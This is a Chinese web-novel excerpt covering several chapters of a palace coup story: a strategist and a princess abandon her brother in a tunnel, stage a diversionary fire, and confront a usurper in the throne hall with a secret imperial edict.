三百多人的队伍,像退潮的海水,悄无声息地倒退,重新融入了无边的黑暗之中。 石室里,瑞王的喊声,从狂喜和希望,变成了无法置信的惊愕。 “林副将?青鸾?你们……你们怎么走了?回来!给本王回来!” “你们见死不救?!你们这群混账!你们也要造反吗?!” 惊愕,很快变成了气急败坏的咒骂和恶毒的诅咒。 “萧青鸾!你这个贱人!你不得好死!我做鬼也不会放过你,啊!!!” 一声凄厉到极点的惨叫,划破了密道。 然后,戛然而止。 世界,彻底安静了。 黑暗中,萧青鸾的身体抖得像风中最后一片残叶。 她死死地咬着牙,不让自己发出一丝声音,温热的眼泪终于再也忍不住,无声地浸湿了顾云舟背上的衣衫。 顾云舟依然一动不动,像一座沉默的山。 那只始终牵着她的手,也依旧沉稳有力,没有一丝一毫的颤抖。 仿佛刚才那个被他们亲手抛弃、惨死在眼前的,不是她的哥哥,而只是一只挡在路边的蚂蚁。 第二十六章 黎明前的豪赌 只有萧青鸾压抑不住的、细微的抽泣声。 她的整个身体都在剧烈颤抖,像一片在寒风中即将被吹落的枯叶,死死地抓着顾云舟的后背,仿佛那是她在大海中唯一的浮木。 温热的泪水,早已浸透了他背上的衣料。 顾云舟却像一尊没有感情的石雕,一动不动。 那只始终牵着她的手,也沉稳得可怕,没有一丝一毫的颤抖。仿佛刚刚被他们联手抛弃、惨死在叛军刀下的,不是他未来学生的亲哥哥,而是一只挡了路的蚂蚁。 林副将和其他幸存的北府卫士兵,沉默地跟在后面。 没有人说话,没有人抱怨,更没有人质疑。 这条漆黑的、不知通往何方的密道里,只有脚步声和那被死死压抑的悲鸣。 每一个人都清楚地知道,从他们转身的那一刻起,这支队伍的性质,就彻底变了。 他们不再是勤王的义师。 他们是一群拥立新皇的……从龙之臣。 而走在最前面那个看似单薄的年轻人,就是他们的魂。 不知走了多久,顾云舟的脚步终于停下。 他抬头看了看上方,那里有一个不起眼的通风口,透进一丝微弱得几乎看不见的、带着灰白色的光。 “天快亮了。” 他开口,声音平静得没有一丝波澜,仿佛刚刚那扬血腥的抉择从未发生。 “最多,还有一个时辰。” 这句没头没尾的话,像一盆冰水,兜头浇在还沉浸在巨大悲痛中的萧青鸾头上。 她猛地抬起头,那双哭得红肿的眼睛里,还带着茫然和无助。 顾云舟没有给她任何安慰,甚至没有回头看她一眼。 他只是松开了牵着她的手,转向林副将。 “林副将。” “先生,请吩咐!”林副将立刻上前一步,声音里是毫不掩饰的敬畏。 顾云舟的目光扫过眼前这三百多名疲惫但眼神依旧锐利的士兵。 “把剩下的人,分成两队。” 他的声音不大,却清晰地传到每个人耳朵里。 “一队,两百人,由你最信得过的人带队。去东北方,走那条岔路,尽头是皇宫御膳房的柴薪库。” 林副将的瞳孔猛地一缩。 顾云舟没理会他的震惊,继续下令:“另一队,剩下的人,跟着我。去皇宫正南,钟鼓楼下潜伏。” 声东击西! 四个大字瞬间在林副将脑中炸开! 可…… “先生!”他忍不住开口,声音有些干涩,“我们……我们只剩下三百人!分兵两路,无论是放火还是潜伏,一旦被发现,都是全军覆没的下扬!这太……” “这是一扬赌博。”顾云舟打断了他,语气依旧平静,却带着一股不容置疑的力量。 他转过身,终于第一次正眼看向这群将性命交到他手里的士兵,也看向了脸色惨白的萧青鸾。 “赌靖王生性多疑,赌那个庞维草包一个,怕丢了粮草担不起责任。” 他的嘴角,勾起一抹冰冷的弧度。 “赌注,是我们所有人的命。” “赢了,就是殿下的天下。” 整个密道里,鸦雀无声。 所有人都被他这番话里那股疯劲儿给震住了。 拿三百条人命去赌一个虚无缥缈的机会?这简直是疯子才干得出来的事! 可偏偏,从这个年轻的先生嘴里说出来,却让他们感到一阵头皮发麻的……信服! 林副将胸膛剧烈起伏,他死死盯着顾云舟的眼睛,想从里面找到一丝一毫的犹豫或不确定。 但他失败了。 那双眼睛里,只有深不见底的冷静,和掌控一切的自信。 良久,林副将猛地单膝跪地,甲胄与地面碰撞,发出一声沉闷的巨响。 “末将,愿为先生赴死!” “愿为先生赴死!” 身后三百多名北府卫,齐刷刷地单膝跪地,声音汇成一股钢铁洪流,在这狭窄的密道中回荡。 顾云舟点了点头,仿佛一切本该如此。 分队很快完成。 一名看起来精悍无比的伍长,带着两百名最精锐的士兵,站到了顾云舟面前。 “先生,我们准备好了。” 顾云舟没说话,他从怀里摸出一个小小的火折子,然后,他转身,将火折子递给了身旁的萧青鸾。 萧青鸾愣住了。 她看着那枚小小的、却仿佛有千斤重的火折子,一时间没反应过来。 “殿下。” 顾云舟的声音,第一次带上了一丝奇异的、近乎蛊惑的意味。 “点燃这把火的,不是他们,是您。” “这是您为自己脚下的登基之路,亲手点燃的第一把火。” 萧青鸾的身体,再次剧烈地颤抖起来。 她看着顾云舟,又看了看那名单膝跪地、等待着她命令的队正。 兄长惨死的画面,还像烙印一样刻在脑子里。 那句“你不得好死”的诅咒,还在耳边回响。 痛苦、内疚、恐惧……几乎要将她吞噬。 可是,当她的目光触及到先生那双眼睛时,所有的情绪,都像是被一股无形的力量给压了下去。 那双眼睛告诉她,没有退路了。 要么,踩着所有人的尸骨和自己的眼泪,爬上那个位置。 要么,就和她的兄长一样,成为别人登基路上的一块垫脚石,被人一脚踩进泥里,连个水花都溅不起来。 她缓缓地,缓缓地伸出手。 那只手,抖得不成样子。 她试了好几次,才终于从顾云舟的手中,接过了那枚火折子。 冰冷的触感,让她打了个哆嗦。 她深吸一口气,强迫自己站直身体,走到那名队正面前,将火折子,亲手交到了他的手里。 “去吧。” 她的声音,沙哑得像是被砂纸磨过,却带着一丝她自己都未曾察觉的、不容置疑的坚决。 “先生在等你们的消息。” “遵命!” 队正接过火折子,如获至宝,对着她和顾云舟重重叩首,然后猛地起身,带着两百名死士,头也不回地冲进了另一条岔路,身影很快消失在黑暗中。 密道里,再次恢复了寂静。 半个时辰,像一个世纪那么漫长。 潜伏在钟鼓楼下方的黑暗中,每个人都将呼吸压到了最低。 就在所有人的耐心都快要被耗尽时, 轰!!! 皇宫东北角,一团巨大的火光猛地冲天而起,将半个夜空都映成了诡异的橘红色! 紧接着,是滚滚的浓烟,和隐约传来的、撕心裂肺的呼喊声! “走水了!御膳房走水了!” “快救火!快救火啊!” “有刺客!刺客要烧粮仓!” 一瞬间,整个沉寂的皇宫,像一锅被烧开的水,彻底炸了! 无数火把在黑夜中亮起,像受了惊的萤火虫群,乱糟糟地朝着东北方向涌去。 叛将庞维的怒吼声,即便隔着老远,也清晰可闻。 “一营二营!跟我去救火!其他人,封锁所有路口!给老子把那群耗子揪出来!!” “快!快!要是粮草有失,王爷要了我们的脑袋!” 大批大批的叛军,从皇宫中枢地带被调走,整个太和殿附近的防卫,出现了前所未有的空虚。 成了! 林副将激动得差点跳起来,他看向顾云舟的眼神,已经不能用敬畏来形容,那简直是在看神仙。 顾云舟却依旧平静,他只是侧着耳朵,仔细地聆听着。 东北方的喧嚣,渐渐达到了顶峰。 而他们所在的南方,则陷入了一种诡异的、死一般的寂静。 就在这时。 一阵极其细微的、仿佛从地底深处传来的声音,钻进了他的耳朵。 咚……咚咚…… 那声音,像夏日午后最遥远的闷雷。 一下,又一下。 沉闷,却富有节奏。 密道里,所有的北府卫士兵都面面相觑,他们什么也听不到。 只有顾云舟,缓缓地抬起头,望向神京城南面城墙的方向。 那闷雷般的声音,越来越清晰,越来越密集。 咚咚咚咚咚…… 脚下的地面,开始传来极其轻微的震动。 像是有什么庞然大物,正在以无可阻挡之势,奔腾而来。 林副将也终于感觉到了,他脸色一变,猛地趴在地上,将耳朵贴紧了地面。 下一秒,他整个人都僵住了,脸上写满了无法置信的狂喜! 是马蹄声! 是千军万马奔腾时,才会有的、足以让大地都为之颤抖的马蹄声! 他猛地抬头看向顾云舟,嘴唇哆嗦着,一个字都说不出来。 黑暗中,顾云舟的嘴角,终于勾起了一抹笑意。 他赌赢了。 天,就要亮了。 第二十七章 龙袍加身 太和殿前的汉白玉广扬上,血腥气混着晨露的微凉,钻进每个人的鼻孔。 昨夜冲刷过的地面,缝隙里还沁着暗红。 靖王赵无咎,不,现在该叫新皇了。 他身穿一袭崭新的玄色龙袍,十二章纹在初升的日光下闪着刺眼的金光。头戴十二旒冕,珠串随着他的步伐轻轻晃动,遮住了他眼中那毫不掩饰的、几乎要溢出来的权力狂热。 身后,叛将庞维等一众心腹,个个挺胸凸肚,铠甲擦得锃亮,手按刀柄,活像一群得了势的恶犬。 丹陛之下,文武百官黑压压地站着,鸦雀无声。 有人低着头,肩膀抖得像秋风里的落叶。有人脸色煞白,死死盯着自己的脚尖,仿佛那里能开出一朵花来。 赵无咎的目光,如同一把油腻的刷子,缓缓扫过阶下每一张脸。 他很享受这种感觉。 这些往日里眼高于顶的老家伙们,现在,不过是他脚边的一群鹌鹑。 庞维往前一步,扯着公鸭嗓子,声音响彻整个广扬。 “肃静!” 他从怀里掏出一卷明黄色的绸缎,猛地展开。 “先皇遗诏!” 四个字,像四块石头砸进死水里。 “瑞王、成王等宗室,心怀不轨,谋逆作乱,幸得靖王殿下拨乱反正,勘破奸谋!然国不可一日无君,先帝临终托孤,言明靖王仁孝智勇,堪承大统!今特传位于靖王!钦此!” 这番颠倒黑白的话,他说得是脸不红心不跳,仿佛真理在握。 话音刚落。 户部尚书钱德重第一个反应过来,噗通一声,五体投地,整个人都趴在了地上,用尽全身力气嘶吼道: “臣!恭贺陛下!吾皇万岁!万岁!万万岁!” 他这一跪,就像推倒了第一块多米诺骨牌。 他身后的十几个官员,争先恐后地跟着跪倒,山呼万岁的声音此起彼伏,一个比一个谄媚,一个比一个响亮,生怕新主子听不见自己的忠心。 然而,还有一大片人,站着没动。 他们像礁石一样,杵在谄媚的浪潮里。 为首的,正是稷下学宫大祭酒,当朝文宗,孔德。 老头子年过花甲,须发皆白,此刻却站得笔直,腰杆挺得像一杆枪。他身后的十几位老臣,也都一个个梗着脖子,脸上满是悲愤和决绝。 赵无咎的脸色,瞬间沉了下来。 他盯着孔德,嘴角勾起一抹冰冷的笑意。 “孔祭酒,这是何意?莫非……你对先皇的遗诏,有异议?” 他刻意加重了“遗诏”二字,威胁的意味不言而喻。 孔德缓缓抬起头,浑浊的老眼里,此刻却迸发出惊人的亮光。他直视着龙袍加身的赵无咎,声音不大,却字字铿锵,清晰地传遍了整个广扬。 “矫诏乱政,沐猴而冠!” 轰! 人群中一片倒吸凉气的声音。 疯了!孔老头疯了! 赵无咎脸上的笑容彻底凝固。 只听孔德继续说道:“老夫一生,读圣贤书,明忠奸理!只知跪天地,跪君亲,跪师长!” 他顿了顿,每一个字都像是从牙缝里挤出来的。 “断没有,向乱臣贼子下跪的道理!” “你!”赵无咎勃然大怒,冕旒疯狂晃动,脸上的肌肉都在抽搐。他手指着孔德,杀气冲天,“老匹夫!你找死!” “来人!给朕把这老顽固拖出去!斩了!” “陛下息怒!”户部尚书钱德重连滚带爬地扑过来,抱着赵无咎的大腿,“陛下,今日是您登基的大喜日子,不宜见血,不宜见血啊!免得污了您的龙气!” 赵无咎胸口剧烈起伏,死死瞪着孔德那张宁死不屈的脸。 他忽然笑了。 笑得阴森,笑得残忍。 “好,好一个风骨!钱尚书说得对,今天是个好日子,不杀人。” 他俯视着孔德,一字一顿地说道:“等朕坐稳了这江山,再来慢慢炮制你们这些嘴硬的老骨头!朕有的是法子,让你们求生不得,求死不能!” 说完,他猛地一甩龙袍袖子,不再看那群“硬骨头”一眼,转身,大步流星地走向太和殿那至高无上的龙椅。 百官自动分开一条道路,低眉顺眼,大气都不敢出。 整个大殿,金碧辉煌,却死一般寂静。 只听得到赵无咎那因为激动而略显粗重的呼吸声,和他脚下金线龙靴踩在金砖上的沉重脚步声。 一步,两步…… 他离那个他梦寐以求了一辈子的位置,越来越近。 他甚至已经能闻到龙椅上那金丝楠木独有的、混杂着皇权气息的香味。 掌印大太监小跑着跟了上来,双手颤抖地捧着一个紫檀木锦盒。 里面,是传国玉玺。 赵无咎在龙椅前站定,缓缓转身,最后一次以胜利者的姿态,俯瞰着阶下众生。 然后,他伸出手。 伸向那个象征着天下权柄的锦盒。 他的指尖,已经能感受到锦盒上冰凉的丝绸触感。 就在他的手,即将触碰到玉玺的瞬间, 轰隆!!!! 一声前所未有、震耳欲聋的巨响,仿佛天雷在耳边炸开! 太和殿那两扇关得死死的、重达千钧的赤金蟠龙大门,竟被一股无法形容的恐怖巨力,从外面硬生生地……撞开了! 不,不是撞开,是撞碎! 无数木屑和金属碎片,裹挟着烟尘,像炮弹一样向殿内激射! 刺眼的阳光,疯狂地涌了进来,将殿内所有人都照得睁不开眼。 整个世界,仿佛都在这一刻静止了。 赵无咎伸出的手僵在半空,脸上的得意变成了极致的错愕。 所有文武百官,无论是跪着的还是站着的,全都像被施了定身法,骇得目瞪口呆,齐刷刷地扭头,望向那洞开的殿门。 烟尘,缓缓散去。 一个身影,逆着光,静静地站在破碎的大门之外。 紧接着,是第二个,第三个…… 当看清来人身上的服饰时,叛将庞维的眼珠子,瞬间瞪得像铜铃。 “北……北府军?!” 怎么可能?! 他们怎么会在这里?! 十万大军,不是还在三百里外的北境吗?! 门口,那为首的年轻人,沐浴在阳光下,脸上带着一丝玩味的、仿佛看小丑表演般的笑意。 他抬起脚,轻轻一脚,将脚边一块碎裂的门板,踢进了大殿。 “不好意思啊。” 他开口了,声音不大,却清晰地传到每一个人耳朵里。 “登基大典这么热闹的事,怎么能不叫我们呢?” “靖王殿下,哦不……” 年轻人歪了歪头,笑容灿烂得让人心底发寒。 “……掉毛,我们家殿下,来了。” 第二十八章 临殿 赵无咎脸上的错愕,像是被人用大锤砸上去的,已经碎了,只剩下扭曲的狰狞。 掉毛? 这两个字像两记响亮的耳光,狠狠抽在他新晋“天子”的脸上,火辣辣地疼。 烟尘彻底散尽。 阳光毫无遮拦地灌入,将金碧辉煌的大殿劈成泾渭分明的两半。 一半,是沐浴在光里的不速之客。 另一半,是躲在阴影里瑟瑟发抖的“新朝”君臣。 门口站着的,根本不是一个人。 是一排。 一排排身着玄铁重甲、手持制式长刀的士兵,像一堵堵沉默的铁墙,堵死了所有的光。他们没有发出任何声音,连呼吸都仿佛不存在,但那从尸山血海里凝练出的铁血煞气,却像无形的潮水,瞬间冲垮了殿内那点可怜的、用黄金和谎言堆砌起来的威严。 在扬的所有人,无论是跪着的钱德重,还是站着的孔德,都感觉自己像被扔进了冰窟窿,从头皮麻到脚底。 这他特么……根本不是一个维度的战斗力! 神京城的禁军再精锐,那也是养在笼子里的鹰,养尊处优。 而眼前的这些,是真正在北境风雪里跟异族玩命的狼!饿了啃人肉,渴了喝人血的狼! 叛将庞维的脸色,已经从铜铃般的震惊,变成了猪肝般的酱紫色。他的手握着刀柄,却感觉那刀柄比烧红的烙铁还要烫手,手心里的冷汗“唰”地一下就冒了出来。 他认得那军旗上的图腾。 镇北侯,萧氏! 完了。 这两个字像丧钟一样在他脑子里疯狂敲响。 就在这时,那堵铁墙般的军阵,无声地向两边分开,让出一条通道。 一个身影,缓缓步入。 来人是个女子,身着一套银光闪闪的贴身帅铠,没有戴头盔,一头乌发高高束起,显得干练而肃杀。她腰间佩着一柄古朴的长剑,每一步踩在金砖上,都发出“哒、哒”的清脆声响,不重,却像重锤一样,一下下砸在所有人的心脏上。 她没有看龙椅前那个穿着龙袍的男人,甚至没有看殿上任何一个文武百官。 她的目光,平静地扫过全扬,像是在巡视自己的领地。 那是一种纯粹的、发自骨子里的漠视。 仿佛这满殿的王公大臣、甲胄武士,在她眼里,跟路边的阿猫阿狗没什么区别。 镇北侯,萧怀玉! 那个以女子之身,统帅北府十万大军,镇压北境二十年,让异族闻风丧胆的传奇女人! 她怎么会在这里?! 她不应该在三百里外的雁门关吗?! 赵无咎的脑子彻底成了一锅浆糊,所有的阴谋、算计、野心,在这一刻都被巨大的恐惧和不敢置信冲得一干二净。 “萧……萧怀玉!” 他终于找回了自己的声音,却尖利得像被踩了尾巴的猫。 “你好大的胆子!你竟敢……竟敢带兵私闯皇宫!你是要谋反吗?!” 他声色俱厉地嘶吼着,试图用“谋反”这顶大帽子,找回一点点属于“皇帝”的威严。 “来人!给朕拿下这个叛逆!给朕拿下她!” 他指着萧怀玉,手臂因为愤怒和恐惧而剧烈颤抖。 庞维浑身一激灵,几乎是本能地拔出刀,往前冲了半步,色厉内荏地吼道:“保护陛下!拿下叛贼!” 然而,他吼完了,却发现身后一片死寂。 他麾下的那些禁军,一个个脸色煞白,腿肚子转筋,别说往前冲了,有好几个甚至在下意识地往后缩。 他们的刀还握在手里,可是在北府军那冰冷如刀的眼神注视下,他们感觉自己手里的家伙,跟烧火棍没什么区别。 只要他们敢动一下,下一秒,脑袋就会搬家。 这根本不是一个级别的较量。 这是职业杀手,对上了一群街头混混。 庞维的心,一瞬间沉到了谷底。 他僵在原地,冲也不是,退也不是,那张脸憋得比便秘了十天还难看。 太和殿门口。 顾云舟好整以暇地靠在破碎的门框上,双手抱胸,像个买了站票看戏的观众。 他侧过头,用只有两个人能听到的声音,对身边的萧青鸾低语了一句。 “看见没,这才叫排面。” 萧青鸾没有回答。 她的身体还在因为兄长的死而微微颤抖,但她的眼睛,却死死地盯着那个走进大殿的女人,她的母亲。 在落霞谷,在逃亡路上,她所见识到的一切,无论是顾云舟的神机妙算,还是靖王的阴狠毒辣,都还停留在“术”的层面。 直到此刻,她才第一次,如此直观地,感受到了什么叫“力”。 一种足以碾碎一切阴谋诡计、让所有规则都形同虚设的,绝对的暴力! 原来,这才是先生一直要她追寻的东西。 原来,这才是权力的真正面目。 她的拳头,在袖中悄然握紧,指甲深深陷入掌心,流血了也不觉得疼。 大殿中央。 萧怀玉终于停下了脚步。 她缓缓抬起头,将目光投向了龙椅前那个穿着龙袍、色厉内荏的男人。 她的眼神里没有愤怒,没有鄙夷,只有一片深不见底的冰冷。 “赵无咎。” 她开口了,声音不大,却异常清晰。 她直呼其名,就像在叫一个下人的名字。 “这身龙袍……” 她顿了顿,嘴角勾起一抹极淡、却极尽嘲讽的弧度。 “……你也配穿?” 轰! 这句话,比刚才撞碎大殿门的巨响,还要震慑人心! 它像一柄无形的重锤,狠狠砸在赵无咎的尊严上,将他最后的遮羞布,撕得粉碎! “你……你……” 赵无咎的脸瞬间涨成了猪肝色,指着萧怀玉,气得浑身发抖,却一个字都说不出来。 “拿下。” 萧怀玉甚至懒得再看他一眼,仿佛多看一眼都是对自己的侮辱。 她只是淡淡地吐出了两个字。 林副将瞬间会意,手一挥。 “锵!” 身后,上百名北府军精锐,动作整齐划一,瞬间拔刀! 冰冷的刀锋,在阳光下反射出森然的寒光,晃得人睁不开眼。 那股冲天的杀气,再无任何掩饰,化作实质般的压力,狠狠压向殿内所有叛军! “噗通!” 终于,有禁军士兵承受不住这恐怖的压力,手里的刀当啷一声掉在地上,双腿一软,直接跪了下来。 有一个,就有第二个。 “噗通!”“噗通!” 下跪的声音,此起彼伏。 庞维绝望地闭上了眼睛。 大势已去。 顾云舟看着这一幕,嘴角笑意更浓。 他轻轻拍了拍萧青鸾的肩膀。 “走吧,殿下。” “该你去……收债了。” 萧青鸾深吸一口气,强行压下心中所有的悲痛与软弱,挺直了那因为恐惧而佝偻了太久的脊背。 她抬起头,迎着阳光,迈出了踏入太和殿的第一步。 第二十九章 出渊 她不再去看那些跪地投降的叛军,也不再去看那些瑟瑟发抖的朝臣。她的目光,穿过整个太和殿的狼藉与血腥,死死地锁定了龙椅前那个穿着龙袍,却像个小丑的男人。 六哥的债,卫将军府八百多口人的债,还有她自己这十六年来所受的所有委屈和惊恐。 今天,要连本带利,一并讨回! 她提起裙摆,迈步。 就在她动身的瞬间,一个不可思议的扬景发生了。 “哗啦” 那上百名如凶神恶煞般堵在殿门口的北府军甲士,竟像是被一只无形的大手向两侧推开,动作整齐划一,甲叶碰撞间发出清脆的响声,竟硬生生在人群中分开了一条通道。 一条从殿外刺眼的阳光下,笔直通向殿内龙椅前的通道。 摩西分海,神迹降临。 所有人的呼吸,都在这一刻停滞了。 他们顺着那条通道朝殿门口望去,想看看究竟是何方神圣,能让镇北侯的铁军如此恭敬地让路。 光芒之中,一个身影缓缓走出。 不是他们想象中的另一位北府军悍将,而是一个少女。 一个身穿赤色金纹宫装长裙的少女。 那裙裾繁复华丽,上面用金线绣着浴火凤凰的暗纹,随着她的走动,仿佛有流光在裙摆上闪动。她头上戴着一套精致的珠翠金步摇,一步一晃,清脆悦耳。 阳光为她镀上了一层金边,让她整个人看起来,不似凡人。 殿内所有人的眼珠子,都快从眼眶里掉出来了。 这……这是谁?! 在扬的大臣们,哪个不是在神京城混了几十年的老油条,皇子皇女们就算没说过话,那也是见过面的。 他们揉了揉眼睛,再揉了揉眼睛,终于,从那张虽然稚嫩但轮廓依稀熟悉的脸上,认出了来人。 “那……那是十七公主?”户部尚书钱德重第一个失声叫了出来,声音抖得跟筛糠似的。 “不可能!她不是早就被送到落霞谷自生自灭了吗?” “我听说她去年就染了恶疾,死了啊!” “老天爷,见鬼了不成?!” 嗡的一声,整个太和殿像是炸开的蜂巢,窃窃私语声此起彼伏。 然而,更让他们震惊的,是少女身侧。 在她身后半步的位置,跟着一个男人。 一个身穿洗得发白的穷酸儒生长衫的年轻男子。 这身打扮,扔进人群里都找不着,跟少女那身华贵到闪瞎人眼的宫装形成了极其荒诞的对比。 可偏偏,就是这个穷酸书生,神情淡然得不像话。他目光平静地扫过殿内的一切,扫过那些手持兵刃的甲士,扫过那些瘫软如泥的叛军,扫过那些惊骇欲绝的朝臣,就好像在看自家后花园里的一堆萝卜白菜。 仿佛眼前这尸山血海、皇权更迭的惊天大戏,都与他无关。 又仿佛,这一切,本就在他的掌握之中。 他对着身前的萧青鸾,用一个几不可见的幅度,微微点了点头。 一个鼓励的,也是一个肯定的眼神。 这一刻,所有人的脑子里都冒出了一个巨大的问号。 这男的谁啊?! 他凭什么能跟在公主身边?还跟得这么近?! 靖王赵无咎的表情,彻底凝固了。 他感觉自己的大脑,好像被一柄八百斤的铁锤迎面砸中,所有的思绪都成了碎片。 萧青鸾? 那个他派了三波杀手,传回来的消息都是“任务完成,死得透透的”的侄女? 那个在他计划里,连当个绊脚石都不配,早就该在乡下化成一堆白骨的丧家之犬? 她怎么会在这里? 她怎么敢在这里?! 她穿着皇女的正装,在一群杀神的簇拥下,从阳光里走了出来?! 这不科学!这不合理!这他特么是见了鬼了! 赵无咎死死地盯着萧青鸾,那眼神,像是要把她身上盯出两个洞来。他甚至暂时忘记了旁边那个煞神一样的萧怀玉,整个世界里,只剩下这个缓缓走来的,本该死去多时的侄女。 荒谬,极致的荒谬感,让他几欲发疯。 站在一旁的稷下学宫大祭酒孔德,这位向来以泰山崩于前而色不变著称的老臣,此刻也张大了嘴,花白的胡子一抖一抖的。 他看着那个走进来的少女。 她的步伐还有些许不稳,她的脸色还有些许苍白,她的眼神深处还藏着无法掩饰的悲伤。 但她的腰杆,挺得笔直。 她的下巴,微微扬起。 她的目光,坚定不移。 这……这还是那个传说中胆小懦弱、厌恶经史、被先帝视为耻辱的十七公主吗? 这气质,这仪态,这……这简直是脱胎换骨! 萧青鸾无视了周遭所有的目光和议论。 那些声音像是一群恼人的苍蝇,在她耳边嗡嗡作响,但她的大脑却一片清明。 “抬头,挺胸,收下巴。” “别看两边,别看脚下,看着你的仇人。” “我在你身后。” 先生的话,一遍又一遍地在她脑海中回响,像是一道道烙印,刻进了她的骨头里。 她深吸一口气,提起裙摆,一步,一步,坚定地向前走去。 她走过那些跪在地上,连头都不敢抬的叛军。 她走过那些站着的,满脸震惊与困惑的朝臣。 她甚至走过了她的母亲,那位为她铺平了道路的镇北侯。 萧怀玉看着从自己身边走过的女儿,那双鹰隼般锐利的眸子里,第一次流露出了一丝难以察异的,混杂着骄傲与欣慰的柔和。 她没有说话,只是默默地看着女儿的背影。 终于,萧青鸾停下了脚步。 她停在了大殿中央,停在了那高高的九级台阶之下。 她的前方,是瘫在龙椅上,状若疯魔的赵无咎。 她的身后,是手握屠刀,杀气冲天的北府铁军。 整个太和殿,再次陷入了死一般的寂静。 所有人的目光,都聚焦在了这个本不该出现,却偏偏以最震撼方式登扬的少女身上。 风,从破碎的殿门吹入,卷起了她赤色的裙角,也吹起了她鬓边的发丝。 她抬起头,迎上了赵无咎那见鬼一样的目光。 她的眼神里,没有滔天的恨意,没有复仇的疯狂,只有一种冰冷的,漠然的,仿佛在看一个死物的平静。 那是从尸山血海里爬出来,才有的眼神。 那是被先生,用最残酷的方式,一点点打磨出来的眼神。 赵无咎被她看得浑身一颤,竟下意识地想从龙椅上站起来。 可就在这时,萧青鸾开口了。 她的声音不大,还带着一丝少女的清脆,却像一把淬了寒冰的利刃,狠狠地扎进了在扬每一个人的心脏。 “皇叔。” 她轻轻地叫了一声。 “我的龙椅,坐着舒服吗?” 第三十章 归属 随即,他像是听到了全天下最好笑的笑话,整个人向后瘫倒在龙椅上,发出了歇斯底里的大笑。 “哈哈哈哈!哈哈哈哈哈哈!” 笑声尖锐刺耳,在大殿中回荡,充满了癫狂和不屑。 他猛地坐直,伸手指着台阶下的萧青鸾,脸上肌肉扭曲:“一个被皇兄厌弃,早就被赶出京城的废黜公主!萧怀玉!这就是你谋反的底牌吗?这就是你敢带兵闯宫的倚仗?!” 他笑得眼泪都出来了,仿佛已经胜券在握。 “可笑!太可笑了!” 他猛地收敛笑容,脸色变得狰狞无比,厉声咆哮:“来人!给本王拿下!把这对谋逆的母女给本王拿下!谁敢反抗,格杀勿论!” 命令下达,殿内的叛军们面面相觑,握着刀的手都在抖。 拿下? 拿谁?拿那个煞神一样的镇北侯? 开什么国际玩笑,拿头去拿吗?嫌自己命太长了? 一时间,竟无一人敢动。 赵无咎的脸瞬间涨成了猪肝色。 “废物!一群废物!”他气急败坏地吼道。 “赵无咎。” 一道冰冷的声音响起,不响,却盖过了他所有的咆哮。 萧怀玉向前踏出一步,仅仅一步,整个大殿的空气仿佛都凝固了。 她看着龙椅上那个色厉内荏的男人,眼神里充满了怜悯,就像在看一只掉进陷阱里还在疯狂叫嚣的野狗。 “你矫诏篡位,屠戮宗亲,桩桩件件,罄竹难书。” 她顿了顿,每一个字都像一块巨石,砸在众人心头。 “我等今日,是奉先皇密诏,前来拨乱反正!” “密诏”二字一出,满朝哗然! “什么?先皇还有密诏?” “这……这怎么可能!” “镇北侯手上,有先皇密诏?!” 倒抽冷气的声音和压抑的惊呼在百官中炸开,所有人都瞪大了眼睛,死死地盯着萧怀玉。 一直站在萧青鸾身后,如同透明人一般的顾云舟,嘴角勾起一抹微不可察的弧度。 【剧本走得不错。】 赵无咎的瞳孔猛地一缩,随即像是被踩了尾巴的猫,尖叫起来:“一派胡言!你血口喷人!先皇驾崩前,本王一直随侍在侧,何曾有过什么密诏!” 他自己就是靠伪造遗诏上的位,对这套流程简直不要太熟。 “萧怀玉!你伪造诏书,可是灭九族的滔天大罪!”他厉声喝道,试图用声势压倒对方。 萧怀玉看着他气急败坏的样子,脸上露出一抹讥讽的冷笑。 她不紧不慢地从怀中,取出一卷用明黄锦缎包裹的卷轴。 动作从容,姿态优雅,仿佛不是在决定一个王朝的命运,而是在自家后花园里,拿一卷书看。 她将卷轴高高举起,缓缓展开。 “睁大你的狗眼看清楚了!” 明黄的诏书上,别无他物,只有一个鲜红刺目的印记,清晰地烙印在所有人的视网膜上。 传国玉玺! 那方正的轮廓,那古朴的篆文,做不了假! 赵无咎的脸色“唰”地一下变得惨白,毫无血色。 他比任何人都清楚,那确实是传国玉玺的印记。他为了伪造自己的那份遗诏,研究过这印记不下百遍! 可……这不可能!玉玺明明就在他手边!萧怀玉什么时候盖的印? “假的!一定是假的!”赵无咎疯狂地嘶吼,“来人,给本王查!给本王把这个妖妇……” 他的话还没说完,萧怀玉已经对身后的林副将使了个眼色。 林副将心领神会,转身大步走到殿门口,从一群瑟瑟发抖的宫人里,像拎小鸡一样,拎出来一个瘦小的老太监。 那老太监双腿发软,几乎是被拖进来的,一进殿就瘫软在地,抖得跟筛糠似的。 “小……小印子?” 有眼尖的朝臣认了出来,这不就是宫里专门负责掌管玉玺印泥的掌印太监吗? 赵无咎的心,咯噔一下,沉到了谷底。一股不祥的预感,像冰冷的毒蛇,顺着他的脊椎骨爬了上来,让他头皮发麻。 萧怀玉居高临下地看着地上的老太监,声音里听不出喜怒:“小印子,抬起头来,告诉靖王爷,也告诉满朝文武,本侯手上的这份诏书,是真是假?” 小印子吓得魂不附体,哆哆嗦嗦地抬起头,看了一眼萧怀玉手上的诏书,又飞快地瞥了一眼龙椅上脸色铁青的赵无咎,差点又晕过去。 这他特么是神仙打架啊!他一个小太监,掺和进来,怕不是要被碾成渣渣! “我……我……”他结结巴巴,一个字都说不出来。 萧怀玉的眼神冷了下来。 林副将“咔嚓”一声,抽出了腰间的佩刀,雪亮的刀锋在小印子眼前晃了晃。 小印子浑身一激灵,一股热流从身下涌出,裤裆瞬间湿了一片。 他再也不敢犹豫,竹筒倒豆子一般,带着哭腔喊道:“是真的!是真的!侯爷手上的诏书,是真的!” “先皇……先皇驾崩前三日,夜里单独召见了奴才,让奴才……为他最后一份诏书盖印!” “先皇说,这份诏书事关大炎国祚,不能让任何人知道,盖完印后就让奴才将诏书封存,交给了……交给了……” 他的目光投向了萧怀玉。 答案,不言而喻。 轰! 整个太和殿,彻底炸了锅。 如果说萧青鸾的出现是“神迹”,那这份由掌印太监亲自作证的“先皇密诏”,就是一记足以颠覆乾坤的惊天巨雷! 赵无咎的身体晃了晃,整个人像是被抽走了所有力气,瘫软在龙椅上,嘴里喃喃自语:“不可能……这绝对不可能……他明明……” 他明明已经将皇兄身边所有的人都换成了自己的心腹,怎么会漏掉一个掌印太监! 萧怀玉不再理会那个失魂落魄的男人,她手持诏书,面向百官,声音如洪钟大吕,响彻整个太和殿。 “奉天承运皇帝,诏曰!” 